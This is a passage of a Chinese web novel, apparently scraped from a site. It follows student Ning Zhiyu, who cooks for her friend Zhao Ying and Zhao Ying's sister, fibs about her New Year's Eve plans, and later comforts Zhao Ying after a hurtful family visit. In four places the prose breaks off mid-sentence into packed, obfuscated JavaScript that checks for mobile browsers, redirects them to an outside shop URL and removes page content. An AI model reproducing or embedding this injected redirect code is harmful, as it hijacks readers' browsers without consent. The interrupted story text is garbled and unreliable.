“执玉姐好!”赵子璇大大方方地问好,一身阳光开朗的气息,看着跟旁边打不起劲的高中生姐姐赵颖形成了鲜明的对比,“赵颖说今天来你这儿吃烧烤,是真的吗?” 烧烤? 宁执玉颇具深意地看了老赵一眼。 赵颖绷着脸,赶紧转过头去不看她们。毕竟不这样说,她骗不出这满心都是麦当劳的熊孩子乖乖跟她出门。 “但是璇璇啊……”宁执玉依旧笑眯眯地凑过脸去,然后猛地睁开眼!配合上她那张脸,颇具一种不似好人的压迫感,“你得叫她一声‘姐姐’。” 完全没想到宁执会在意这种小事的赵颖一时间愣住了。 反倒是扎着两条小麻花辫的赵子璇瘪瘪嘴,甩开了姐姐的手,嚷嚷着:“我才不要!我就要叫她赵颖!赵颖!我偏要这样叫——” 赵颖回过神来,对此无可奈何地扯了扯嘴角,试图劝阻道:“算啦老宁,我妹就这样……” “不行,这样没礼貌。” 宁执玉不知为什么在称谓这种小事上有着某种近乎偏执的执拗。 只见她蹲下身,很严肃地盯着赵子璇:“璇璇小朋友,我不管你在外面怎么叫人。可是在我面前,你得学会尊重你姐,明白吗?” 赵子璇转身想跑,被宁执玉伸手一把抓住肩膀,逃跑失败,只能不服气地扭来扭去,尖叫道:“你又不是我爸妈,我为什么要听你的!” 宁执玉很平淡地笑了笑,也不跟这死小孩做情绪对抗,只是抬手指着自己脸上那道伤疤,语气深沉而神秘:“璇璇啊,你知不知道姐姐的这个伤是怎么来的?” 赵子璇一听,视线偷偷往老宁脸上飘……果然开始忍不住好奇。 一旁从书包里掏出狗来透气的赵颖立刻偷偷看过来。她也很想知道,毕竟过去宁执玉对此讳莫如深,只字不提。 见到小孩上钩了,宁执玉现场编了一个关于自己小时候没叫某个远房姐姐的正确称谓,然后被姐姐发疯地用菜刀给砍了的胡编乱造故事。 老宁不愧是全年级前十五的学霸,信手拈来的神经病故事堪称血腥恐怖、曲折离奇,在细节处真实得吓人……让人感觉那个大半夜提着滴血菜刀的疯子姐姐好像就躲在门后随时准备再蹦出来一样。 围观旁听的赵颖:“……” 高估老宁了,这会儿多半又在逗小孩呢。 不过这个年纪的小孩似乎蛮吃恐怖故事这一套的,赵子璇哆哆嗦嗦地听完后,吓得转身扑进赵颖的怀里。 这熊孩子双手死死搂着长姐的腰,颇为委屈地问道:“赵颖,你不会像是执玉姐的那个恐怖姐姐那样……用刀来砍我吧?” 赵颖面无表情地假装自己是一个莫得感情的鲨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宁执玉头也不抬,正在给刚买回来的排骨焯水:“干锅土豆片,蒜香鸡翅,酸甜排骨,再加一个汤。怎么样?你们有没有什么忌口的。” “没有忌口,感觉确实是我妹喜欢吃的菜……但是三菜一汤是不是太夸张了?”赵颖有点怕她为了招待自己和妹妹这顿饭而垫钱,花得超支了。 “没事啊,吃不完的话我今晚继续吃。”老宁回答,“其实每道菜的分量都不大,我也没买很多。” 得到这个答案后,赵颖放心了。 等她帮着切完土豆片和其他的备菜工作后,宁执玉开始“无情”地轰她出去:“你今天是付了钱来吃饭的,出去出去。等着吃就好了。” “好呀,那我等着品尝你的手艺。”赵颖眉眼弯弯地笑起来。 不过在离开厨房前,走到门口的赵颖忽然停下,转身后很突兀地喊了她一声:“……老宁。” 大家都是认识几年的好朋友了,有时候说出两个字,剩下九十八个字对方就会自动脑补出来。 这次也不例外。 宁执玉抽空扭头看了站在门边的赵颖一眼,此时她手中的锅灶里恰好喷出炽烈的高温火焰,灼烧着锅底。热浪当前,而宁执玉此人的神色平淡得堪称是巍然不动的程度。 “老朋友了,客气什么。” 赵颖惊愕地看着这个朋友好几秒,倏然笑了。 虽然她也不太清楚自己为什么现在会突然想要发自内心地笑起来,只好假装用吐槽来掩饰自己的真实情感道:“我明明什么都还没说。” “可我已经听到咯。”宁执玉一边猛火炒菜,一边回头冲她笑了一下,“——用心。” “……” 莫名地,赵颖只觉得那个笑容有些眩目。 15.饭后一根 当宁执玉从厨房里把菜端出来时,原本刚才还有点莫名怕她的赵子璇很给面子地发出了哇的一声。坐在旁边的赵颖也连忙起身帮忙拿菜端碗,同时不禁暗自感叹老宁不愧是在烧烤店后厨帮工好几年的人,起码“色香味”的前两点单看外表就符合要求了。 被煎得外表微微焦黄的干锅土豆片被放在专用的铁质小锅上加热保温,散发出浓烈霸道的香气。一旁的蒜香鸡翅和酸甜排骨也丝毫不逊色,各有各的美味模样,起码看起来就很好吃。 等赵颖帮忙把那一大碗紫菜鸡蛋汤端过来之际,赵子璇对桌上几道菜已经是望眼欲穿的状态了。 “我要吃这个鸡翅,赵……姐姐。”赵子璇紧急撤回一个不礼貌的称谓。 有点想笑的赵颖虚着眼睛问她:“你洗手没?刚刚还摸了狗。” 小孩儿顿时如同遭受了某种莫大的侮辱,大声地说自己已经洗完手才回来坐着等饭吃的。闻到饭菜香味的狗崽在一旁很急切地转来转去,但没人理它,它低声哀叫了两声,也不敢大声叫唤。 “行行行,你坐稳,我给你夹菜。”赵颖不耐烦地说。 赵子璇立刻乖乖坐好。 就在这时,脱掉围裙的宁执玉从后厨里走出来,随手在后厨传菜窗口里拿起一个碟子和七八根热气腾腾的烤串,把它们一起放到桌子上。 赵颖大吃一惊:“你……你还真的烤了?” “烤了呀。”宁执玉很疑惑地说,“不是你对妹妹说想吃烧烤吗。” ——我那是骗小孩的话术!你几岁了,怎么跟赵子璇一样真的信了? 其实赵颖很想这样大声指出,但对上老宁一脸等着被表扬的期待表情和旁边妹妹看到烧烤时两眼发光的纯真模样,她又说不出煞风景的任何一个字来。 “……对,是我想吃。”赵颖哭笑不得地承认了。 “怎么样?”宁执玉对赵子璇略显得意地说,“你姐没骗你吧。我这儿真有烧烤。” “嗯嗯,执玉姐好棒!姐姐也好!”赵子璇连连点头,也冲老宁露出了一个大大的笑脸。 将这一切尽收眼底的赵颖暗自叹了口气,打算饭后跟宁执玉对账时把这个差价补上,总不能让朋友真的垫钱请吃烤串吧。 但是同时她也必须承认——被人默默维护的感觉真的很好。 这顿饭三个人和一条狗都吃得很高兴。 因为宁执玉甚至没有忘记狗的午餐。她给小狗做了点水煮鸡胸肉后撕碎,又加了泡着汤的米饭混在一起。最后等稍微放凉了些许再装进一次性的方形塑料饭盒里,方便等会收拾丢弃。 面对这样的饭菜,狗果然吃得很开心,埋头把饭盒都舔得干干净净,一副好吃到旁边死了别的狗都不会意识到的模样。 等吃完饭,几个碟子里都没有剩下多少剩菜了。 吃得心满意足的赵子璇勉强睁着眼皮地趴在桌上继续看动画片,多少有点晕碳犯困了。而宁执玉则是站在收银台的电脑后面,一样一样地输入刚才这顿饭用了哪些烤串库存,赵颖坐在收银台外面的待客高脚凳上转来转去,等老宁报个差价的数字。 “买菜一共花了我32,再加上那几根烤串一共15,调料和木炭那些不算钱,那就是……还剩下3块。喏,给钱吧。”宁执玉说道。 用手肘撑在收银台表面的赵颖挠了挠自己的脸颊,多少有点不好意思:“那老宁你岂不是这顿饭都没赚到几个钱?” “怎么会呢,起码我蹭到你们姐妹俩这顿饭了啊。本来我今天中午是打算吃水煮麦片的……”宁执玉一边用自己的手机扫了收银二维码上的烤串费一边说道,“好了别废话,快交钱!” “哦。”老赵乖乖地从外套口袋里掏出了还带着点体温的50元钞票,递给对方。 宁执玉抓过钞票,小心地放进自己一侧的口袋里——毕竟先前的买菜钱是她自己先行垫付的,如今这钞票她拿得心安理得。 本来赵颖因为这样就算结束了,至于所谓的还剩下三块……就当给厨师的辛苦费呗。谁知道下一秒宁执玉从另外一侧的口袋里摸出了三根颜色不同的棒棒糖,献宝似的凑到她面前。 “三块钱刚好三根,不同口味,你自己先挑。” 赵颖乐了:“这啥啊?” “饭后甜品呀。”宁执玉也翘了翘嘴角,“统共就这么点钱,整不出什么更高档的甜品了。” “我以为你吃饱饭后会想来抽一根……我今天出门前都带了。”赵颖调侃道,目光却落在眼前的几根棒棒糖上有些犹豫。 “下次吧,今天有小朋友在呢,抽烟不好。”宁执玉还是比较关心祖国花朵的健康成长的。 赵颖没吱声,应该算是默认了这个观点,毕竟她在跟赵子璇共处一室时都没摸过烟。 听到有人点名自己,赵子璇一个激灵抬起头,看到是棒棒糖,立刻飞奔而来:“我要红色!我喜欢红色的!” 宁执玉面不改色地拒绝了这等无理要求:“别急,让你姐先挑,她挑完再给你挑。” 小孩儿很单纯地生气,双手叉腰:“为什么啊?她不是应该让着我吗。” 宁执玉:“……” 老宁下意识地看了看神色有点不自在的赵颖,没说什么,只是继续平静地回答赵子璇的问题:“因为我跟你姐更熟,跟你不太熟……璇璇你想,你在学校里分享零食的话,肯定也会优先给自己喜欢的朋友吃吧?如果是其他班的一个陌生同学来跟你要零食,你会随便给他吗?” 赵子璇想了想,确实是这样,没辙了。她只好小声嘟囔道:“我除了会给朋友吃,还会把零食分给老师吃!” “喔,我们璇璇这么大方啊。下次分零食的话,也给我留一份好不好?”宁执玉笑眯眯地表扬她。 小孩儿又被忽悠得忘记生气了,得意洋洋:“那你要来请求我啦!” “拜托你了,璇璇小朋友。” 原本背脊一下子绷紧的赵颖渐渐放松下来,眼带笑意地看着这一幕……她最后还是拿走了黄色包装的芒果味棒棒糖,把红色的荔枝味留给了自己的妹妹。 毕竟大家都已经是高中生了,对于糖果的执念不像小时候那么强烈了。 眼看赵子璇举着糖果跑去跟狗炫耀自己有棒棒糖吃,宁执玉也叼着一根西瓜味的棒棒糖,含糊不清地问赵颖:“接下来你们在我这儿待多一会还是回去?” “还是回去吧,赵子璇这家伙是要睡午觉的。”赵颖漫不经心道,“而且也不妨碍你今天的学习了。” 宁执玉也不奇怪,点点头:“行。你的寒假作业写完没。” “没啊,哪个神人能那么快写得……等等,你写完了?”赵颖含着嘴里的棒棒糖,说话含糊不清的同时大感震惊。 老宁点头。 赵颖也不客气,当即把手一伸:“借我抄。” “抄个屁,自己写。” “别那么无情嘛。”老赵笑嘻嘻地试图打动铁石心肠的学霸朋友。 “什么无情,赵颖同学你得对自己的成绩负责。”宁执玉痛心疾首道,“我可不能害 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182600|195417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了你啊!” “真夸张,还害了我……”赵颖没好气地讥讽道,“你直接改名叫‘小贺亚红’得了。” “就算阴阳怪气我也不会借你作业抄的!但如果你遇到不会的问题,随时可以来问我。”老宁给出了一个学霸能给朋友们的最大福利,“或者你这几天可以过来这儿学习。我已经进入第一轮筛查的阶段了。” 赵颖啧啧称奇:“我去,我以为这是咱们高三才需要考虑的事情……” 面对称赞,宁执玉很无所谓的样子:“反正我过年也没别的事情可干啊。” 老赵愣了一下,想起了什么,当即试探道:“再过几天就年三十了,你今年打算怎么过啊?” 去年的年夜饭,宁执玉去投奔了周喜和她妈妈,成功地混到了一顿大餐。陈水这边她们家也没有太多亲戚在,所以往年多半是母女俩过节。 虽然在初中那会儿,周喜妈妈觉得这位小宁同学长得不像是什么好人,但在周喜说了老宁的成绩有多好后,这位阿姨又觉得人不可貌相了! 而且后来认识久了以后,阿姨也知道小宁确实是个面冷心热的好同学,在亲戚家寄人篱下,日子不算舒坦,因此也很欢迎宁执玉有空就去她家玩耍做客。 不过今年人家周喜和她妈妈都去了湖南老家过年,宁执玉总不能再追到湖南去蹭饭吃吧……因此她挠挠头,撒谎道:“年三十的话,我约了别人吃年夜饭,就不去你家蹭饭了。” “诶?!”赵颖再次震惊了,“什么人?你居然瞒着我们找到了新饭票!” “什么新饭票,就我那个广东老乡啊,我给他孩子免费补课的那家人嘛。今天打电话时不是说过了吗……”宁执玉半真半假地说着张老板家的情况,哪怕是当面扯谎也神色不变。 听完后赵颖眉头直皱:“真的假的啊?不会是你瞎编的吧。” “来,我跟你说——出门右拐走到下个红绿灯,再右拐,就能看到那家店了。”宁执玉一脸的理直气壮,谁也看不出她此时的心虚,“不信的话你自己去问。” 她觉得以赵颖的性格是不会真的跑去跟一家完全不熟的店铺老板打听这种事的。 “信信信。”果然,赵颖语气敷衍地直点头。 说句实话,如今的宁执玉哪里敢去老赵家蹭饭?平时蹭饭都让朋友回头挨骂,年夜饭还要硬蹭的话,万一赵杰大过年的打女儿咋办? 还是一个人随便吃点吧。 反正宁执玉知道自己的处境如何,哪怕心里再怎么羡慕别人的家庭温暖,也不会强求什么。 赵颖看起来有点失落,但又像是莫名松了口气那样:“行吧,本来还想问你要不要来我家吃呢,来的话我得提前一天问问阿姨。” “嘿,谢谢老赵,好意我心领了。”宁执玉像是浑然未觉有什么不对,露出笑容,“下次一定。” “……”,赵颖狐疑地盯着她好几秒,有点怀疑老宁是不是猜到了什么。 但这种事也没有什么实质性的证据,她也不好追问“你是不是知道我爸会骂我”这种堪称家丑的细节。 恰好这时候宁执玉又问:“所以今年过年,你们一家就在家里吃年夜饭?” “不知道……反正听我爸他们的咯。”赵颖露出了家中小辈特有的过年随波逐流、完全无法做主的表情,“他们去哪里,我就去哪。” 宁执玉想想也确实这个道理:“行,那等到时候吃完饭,有空的话再联系吧。” “吼啊。”赵颖的嘴里含着糖果,含糊不清地说。 16.再吃一点 等赵颖带着妹妹赵子璇一走,宁执玉马上给粿条汤店的张老板打了个电话,请求他帮自己圆谎——如果真有人来问关于吃年夜饭的问题的话。 张老板浑然不觉得哪里不对劲,很爽快地答应帮忙,并表示…… “如果年三十我们没回去的话,小玉你到时候过来跟我们一起吃个年夜饭吧?”张老板憨厚的声音从电话那头传来。 宁执玉擦擦不存在的冷汗,要不是她知道张老板的两个儿子——大的阿文已经有了未婚妻,据说两人打算明年结婚,小儿子小武又还是个初中学生,远不需要考虑谈婚论嫁的事情……她真的有点怀疑是不是老张想培养自己当他的未来儿媳妇。 虽然这么说好像有点过分自恋……还是悠着点吧。 “过两天再看吧。说不定阿姨明天就能出院了呢?哈哈。”宁执玉婉拒道。 张老板也没有强求什么,只是又叮嘱了宁执玉几句后就挂断了电话。 等过了半个多小时后,张老板忽然又打来电话说:“有个很漂亮的女孩子带着个小姑娘真的过来问了。我照你说的回答她了……是你同学吗?” 宁执玉难免愕然了几秒,没想到自己准备的圆谎小妙招居然真的派上用场了。她一方面为赵颖的刨根问底行为感到震惊,另一方面又意识到朋友对自己的关心之情已经突破了自己原本对她的性格既定认知。 ——老赵你为了我,居然连原本的脸皮厚度都能舍弃了!Amazing! 于是宁执玉回答:“对,好朋友。” 顿了顿,她再次补充道:“特别要好的一个好朋友。” “哦,这样的朋友可真好!我太懂这个了!”张老板也开始忍不住跟她吹嘘几句自己以前的事情,“张叔我以前在老家读书的时候也有几个兄弟,大家都有那么好……” 就这样,过年前的这几天过得风平浪静。 反正宁执玉不需要贴春联,不需要大扫除,不用买年货和新衣服(没钱),每天抽空去粿条汤店里教初中生弟弟如何搭建知识框架体系顺带混一顿饭吃,此外的时间就是专心学习了。 当然,她也没有忘记跟朋友们打视频电话。 有时候群聊电话里四个人各干各的。 周喜在湖南乡下放鞭炮,噪声一响起来就往新认识没多久的帅气男朋友怀里钻;王艺菡在商品琳琅满目的商场里逛街,但凡看中什么好东西就兴奋地拿起来问朋友们喜不喜欢,喜欢的话她就买下来打算带回国内当伴手礼;赵颖在臊眉耷眼地帮家里做一些力所能及的节前家务活,要不然就是在每日牵绳遛狗的路上。 而宁执玉总是一边听她们的各自生活动静,一边埋首书山学海之中。 谈恋爱固然好,但是把自己的身心交付出去本身就是非常危险的一件事情,更何况在亲身经历了父母的婚姻失败悲剧后宁执玉对于这件事保持着一种警惕又隐约有些抗拒的微妙心态。 而且顶着这样一张不讨喜的脸,谁会失心疯了地爱上她呢? 在资本主义国家目睹金钱的力量,享受着与国内截然不同的文化风气和生活特色……曾经的宁执玉距离这样的未来并不算太远,甚至可以说只有一步之遥。 但是过去的事情已经过去了,命运向她揭示出离奇的变化和新的道标,宁执玉只能说服自己去接受它。 也许等多年后她还会再去国外学习、工作、旅游或者探亲访友等等,但这并不是一个小县城的高二学生当前需要考虑的事情。 至于赵颖这样哪怕外表看起来“平凡美满”的普通家庭……宁执玉只能报以同情二字。 虽然赵杰他们在物质条件方面上基本没亏待过这个大女儿,但也算不上特别富养,尤其是跟妹妹赵子璇一对比就非常明显——而且在家住所换取的生活费用里,到底有多少钱是赵颖所付出的精神损伤费用,恐怕只有当事人自己心里清楚。 事到如今,宁执玉哪怕再羡慕别人的生活,但她也知道……她一切只能靠自己了。 爱你老己,明天见! ………… …… 2月14日,年二十九。 在上午给张老板的小儿子小武上完课后,他突然有点不好意思地说:“小玉姐……我们一家可能等会下午就要开车回去了。” “哦?”宁执玉愣了一下,“阿姨已经出院啦?” “嗯,前天就出院。我妈已经没事了。” 小武嘴比较笨,说不出什么太委婉动听的感谢话语,反倒是一直观察他们上课状态的张老板跑出来,热情地感谢了宁执玉这几天对自家小子的指导,并塞给了她一大袋东西。 “叔,我不要,拿回去吧。”宁执玉客气推辞。 “拿着!大过年的,一点心意!”张老板强行把沉甸甸的黑色塑料袋子塞进她手里,“我也跟小武他妈说了你这几天对小武学习上的帮忙,她也很感谢你,只是目前还在家休息,所以就没法来店里当面跟你道谢。” “不用不用!阿姨才刚出院,休息好比较重要。”宁执玉赶紧说道,然后又关切地问,“你们真的等会就走吗?” “啊,对的。”张老板也很无奈,“明天就是年三十了,陈水这边正常开车回潮汕去也最少要十八个小时,而且只有阿文和我换着开。毕竟老家里还有他们的爷爷奶奶在催着呢……” 宁执玉理解了一切,虽然她是个无家可归之人,但她完全能共情那些渴望过年回到故乡的游子是何等心情。 于是她和颜悦色地跟这在外打拼了整整一年的一家人告别,又叮嘱小武回去后也不要放弃梳理自己的知识体系,有什么不懂的可以发微信问自己。 最后老宁提溜着张老板强塞到手里的那一大袋子东西回去了。 等她回到烧烤店的厨房,打开黑色塑料袋一看,才发现里面不仅有一大盒已经切好的鲜牛肉片和满满一大碗牛骨高汤,甚至还有两条生的牛腱子肉! 目测这些肉全部加起来起码五斤起步。 天知道当看到那两条生牛腱肉时,宁执玉的脑子都停止思考了好几秒。 ……好朴实的新年礼物啊。 张老板是因为等会儿要提前关店回去收拾行李,离开陈水回老家,怕卖不掉这些牛肉才送给她吗? 此外,老宁还在里面的另一个扎得严严实实的防水塑料袋子里找到了一个配好的卤料包和一张手写的烹饪说明,看得出是小武的字迹,她猜测这些做法应该是张老板口述出来让儿子写好的。 张老板在字条上告诉宁执玉,鲜牛肉可以明后天拿来打火锅,但是牛腱肉放到后天再吃就不新鲜了,所以建议拿来做卤牛腱肉,这样可以存放得久一些。 “喔,真贴心。” 收到这些牛肉当然是意外之喜,宁执玉这人也不算太贪心,因为她在给初中生义务上课时想着顶多能混一碗粿条汤吃的程度而已…… 如今她心情极好地把牛肉放进冰箱里冷藏,又按照老板给出的配方先把两条牛腱子肉拿去腌制一晚上了。 ………… …… 翌日,大年三十。 一大早外头就有人在放鞭炮,噼里啪啦地把睡在烧烤店杂物间的老宁给吵醒了。 她揉着眼睛醒来,日常锻炼了半个小时后,感觉更累了。 宁执玉思来想去,决定适当减少一点今日的学习时间,毕竟昨晚因为硬啃一个知识难点而搞得很晚才睡——她宁某人又不是真的机器人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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【桐坑粿条店张老板:我们两小时前刚到老家,平安抵达![抱拳][抱拳]谢谢小玉的关心牛肉做得很好,祝你和你的朋友们新年快乐![烟花][烟花]】 得到厨艺认可的宁执玉美滋滋地回复了消息,也祝张叔他们一家人过年好。 然而就在这时候,宁执玉忽然隐约听到门外有人在叫自己的名字,像是赵颖的声音。 倍感疑惑的老宁:? 幻听吧。这人今天一大早不是说跟着父母回乡下过年吃饭去了吗。 本来宁执玉没把这叫声当回事,但后来发现好像不是幻听,而且外面的叫声越来越急,以至于最后电话都打进来了。 宁执玉对此真是无可奈何,只好跑去把烧烤店的玻璃门解开锁头,又拉起半截卷帘门,蹲在地上向外张望。 ——牵着狗的赵颖正站在门外,手上提着一个食物打包盒,不知为何会一路散步至此。 赵颖这人生得美丽,因此她的五官容貌是偏向冷冽气质的那种锐利美感,跟宁执玉这种顶多算是清秀斯文的和善路人脸完全不同(如果不看她的那道伤疤的话)。 如今赵颖这张脸上却没有丝毫新年应有的喜气光景,反而是满脸都不知不觉地写着“我被人欺负了”的委屈和郁闷意味。 这让原本想要调侃这人几句的宁执玉反而愣住了。 “宁执玉,你果然在这儿。”赵颖一字一句地质问道,“果然去什么汤粉店老板家吃今晚的年夜饭,都是在骗我的吧?” 宁执玉:“…………” 哎哟卧槽,忘了张老板一家回去后,谎话就失效了! 她心虚地沉默了几秒,若无其事地岔开话题说:“你来得正好,进来吃点牛肉?” 赵颖:? 17.笑一个吧 大堂里,赵颖皱着眉头坐在一张椅子上,她带过来的那个不知道什么食物的打包盒放在旁边的桌子上。 此时老赵手指里夹着一根烟却迟迟没有点燃,心事重重。旁边的小狗已经解开了脖子上的绳索,正戴着廉价的红色项圈围着从厨房里走出来的宁执玉转来转去。 原因很简单,老宁手里拿着刚煮好的“狗饭”——还是用剩饭和煮熟撕碎的一点鸡胸肉搅拌的…… “你哪来的鸡胸肉?”赵颖终于说了她进店十分钟后的第一句话。 正蹲在地上喂狗的宁执玉表情微妙地抬头看向好友:“上次你们来吃饭时没用完的。这块肉我本来想留着自己吃的。” 赵颖顿时无语了。 好你个老宁,新的一年里居然还学会贪墨狗粮了?行吧。 安顿好吭哧吭哧炫饭的小狗后,宁执玉这才站起身,走到她对面的另外一张桌子旁坐下,很认真地跟赵颖道歉:“对不起。关于年夜饭的事情,我是骗了你。” “……” 生闷气的赵颖绷着脸转过头去,不愿与老宁对视。 过了几秒钟,赵颖才闷闷地说:“你今年不来也是对的。我其实也没有怪你。” 宁执玉依旧诚恳地说出自己的真心话:“老赵,我只是怕你在家庭和朋友之间为难而已。我平时是喜欢蹭饭没错,但我也不希望别人为难。” “呼……”赵颖低下头,烦躁地用没有夹着香烟的另外一只手抓着自己的头发。 老宁继续解释:“但那家人之前是真的邀请我去吃年夜饭了。” “哦。”对此赵颖也不知道信了没有,但这已经不重要了。 宁执玉想了想,问道:“你是怎么知道我没去成的?” 蹙眉的赵颖先是沉默几秒,还是说了缘由。 原来她刚刚随意地遛狗,本来想来烧烤店看看宁执玉在不在这儿,结果鬼使神差地拐了个弯,跑去那家粿条汤粉店去看。 到了店门口,发现人家老板在门上贴了一张纸,说本店已经年前关门歇业,要年后才回来开张…… 老赵当时就知道自己被某个撒谎也不眨眼的家伙给骗了。 再加上她今天本来就心情不好,这么一想,觉得老宁这混账也太坏了!跟那些欺负她的人有什么两样?当即又气又急地跑过来质问朋友为什么要骗自己。 宁执玉听完也是哭笑不得,她本来是不想给朋友增加新的家庭矛盾或者让其过年还要被长辈责骂,所以才宁愿一个人吃年夜饭也不去给人家添麻烦的……结果到头来反倒是阴差阳错地被误会了。 “我只是不想让你为难,赵颖。”她再次重复道。 这一回赵颖听懂了,她猛地抬起头,惊愕地看向依旧面带淡淡微笑的宁执玉:“老宁你什么时候……也是,你确实好久没来我家吃过饭了。就是从最后一次开始的吗?” “嗯,那次是不小心听到的,不是故意偷听的。” “……算了算了。”赵颖摸出打火机准备给自己的烟点火,胸中憋着一股说不清道不明的郁气,只能含糊不清地骂道,“这都什么事儿!” 说罢,她挑眉看向坐在对面的宁执玉,语气凶得跟挑衅没两样:“来一根?” “饭前我就不抽了。”宁执玉乐呵呵地说,“我今晚准备了几个好菜,不能让这玩意儿把我的味觉给麻了。” “又不是吃槟榔……” 话是这样说,但是赵颖想了想又把打火机给塞回口袋里。 见状宁执玉顿时疑惑起来:“你可以抽啊,我这儿没人管这个。” “关你什么事,我突然不想抽了。”老赵生硬地反驳。 “……行。” 虽然觉得朋友今日的脾气多少有些喜怒无常,但看在她大过年的还郁郁寡欢的份上,宁执玉决定还是关心一下这倒霉孩子。 于是宁执玉的身子微微前倾,做出倾听的关切姿态,问道:“怎么了,这大年三十的,赵颖你不跟家里人待在一起吃年夜饭,跑来找我这个孤家寡人的家伙来聊什么呢?” 赵颖本来不太想说这些不开心的事情,她惯常的做法是将委屈和痛苦打碎了混杂着血泪往肚子里咽下去。哪怕是面对最好的朋友王艺菡,她在很多时候也会谨言慎行,生怕不小心说错话。 但是不知为什么,这次当她对上宁执玉那双微微发亮但又一如既往平和的漆黑眼睛时,那满腹的委屈顿时如同开闸放水的洪流,滔滔不绝地讲述起来。 今天一早他们全家开车去了位于乡下的爷爷奶奶家,老人明显更喜欢活泼可爱的赵子璇,但对于好歹身体里流着老赵家一半血的赵颖,多少也是给了个薄薄的小红包意思了一下。 赵颖也没指望爷爷奶奶会特别喜欢自己,随便说了几句吉利话后就猫在客厅角落里玩手机,给朋友们轮流发消息和刷新年的各种沙雕段子。 本以为会待到晚上八九点才离开,没想到那群打麻将的大人早早地收工,以至于下午之际一家人便踏上返程。 在半路上,张阿姨突然提议要去看自己的母亲,也就是跟赵颖没有任何血缘关系的“外婆”……这下可惨了,那位外婆不仅没有给赵杰这个“二婚”女婿多少好脸色看,甚至对赵颖这个女婿前妻所生的孩子采取了一种近乎明示的厌恶态度。 “那个死老太婆,她、她以为她是谁啊!”说到这里,赵颖气得都有点说话不利索了,用手拍着桌子骂道,“不想给红包就不给啊,在那里装什么?还说‘你得提前说要来才能准备红包’这种骗小孩的鬼话……真想给的话,直接拿钱出来塞给我也可以嘛!” “我算是看明白了——他们是一家人,那我呢,我算什么?真不想要我去碍眼的话,就别让我上她们家啊!” 咬紧牙关说出这句话的赵颖低下头盯着自己的膝盖,想要听到宁执玉的回答,结果等了半天,只看见老宁翘着二郎腿晃悠玩手机的快活样子。 赵颖被气得一下子站起来:“宁执玉你到底有没有在听我讲话的!” “有啊,听着呢。”老宁好整以暇地抬头看向她,“可我能说什么?” “我二舅一家年年都把我放在这里守店,一待就是十来天,也没人管我的死活。平时我除了用洗衣机洗一些大件的衣服,甚至都没机会去他家多待两分钟。说实话我也不想去……老赵,让你这个过年愤怒的事情只是我的日常生活一部分,你指望我对此还能说什么呢?” 草。 ——我居然忘了! 赵颖微微张大了嘴,因为她突然意识到老宁说得没有错,她也许根本没有什么资格和立场在一个过得比自己还艰苦困难的朋友面前诉说痛苦……也可能是宁执玉在她们这些朋友面前一直表现得很正常、很从容,以至于她们时常会下意识地忘记对方同样身处于生活的煎熬中这件事。 一想到这里,赵颖的脸上就涌现出一种近乎内疚的痛苦神色,她伸手扶着两侧的桌面和椅背重新坐下来,呆呆地望着地面,过了好半晌才说道:“对不起。我不该那样……不知足的。” “哎,这回恐怕是你说错啦。你这不是‘不知足’,而是你意识到自己的愤怒已经产生了——那就是真实的感受。” 宁执玉放下手机走过来,旋即蹲在赵颖所坐的椅子面前,主动伸手握住了朋友有点发冷的双手,依旧用那副平淡微笑的样子抬头与之对视:“事实上,我根本没觉得气恼。如果每天为这些事情而生气,我也不需要干别的事情了。” 顿了顿,宁执玉又道:“痛苦这种事无须来比较大小,因为痛就是痛,它本身没有任何意义,只是一种感知。但今天听完后,我觉得如果你因此感到了真正的痛苦,我想——这并不是你的错。” 赵颖的嘴唇嗫嚅了几下,她想要说什么,却被某种激烈复杂的情绪所堵住了喉咙,最后只能呢喃地说出两个字来。 “老宁……” 宁执玉像是没有察觉到她的情绪异常,依旧耐心地蹲在赵颖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宁执玉今年17岁,比王艺菡、赵颖她们这一级的平均16岁年龄要大上一岁,这主要是因为她当初遇到了绑架事件后心理创伤太过严重,不得不停学一年才算是缓过劲来。 而她以前的那些同学如果没有出国,现在也多半都到了高三。 用桌上的餐巾纸擦干眼泪的赵颖嘀咕着“这么点钱还想收买我当我长辈”之类的话语,伸手拿起自己的红包,打开聊天界面,果然发现宁执玉发来了一个随机红包。 她一点屏幕上喜气洋洋的红包封面,一阵数字飞速跳动,最后定格在“5.20”上……这个数字让赵颖多少有点脸红。 这、这几个意思啊?她瞪大了眼睛,感觉脑子像是一片浆糊。 结果一旁的宁执玉语气遗憾地坦言道:“因为我抽了几次,只能抽到什么13.14或者8.88、6.68之类的……这个数字已经是我抽中最低的了!对了,你能把这5块钱退回给我吗?” 赵颖努力深吸了一口气,刚刚朋友的安抚和好言相劝就像云雾般消散了,取而代之的是那种熟悉的令人无语感。 “做梦去吧。”她恶狠狠地说。 然后收下了这个小小的随机红包。 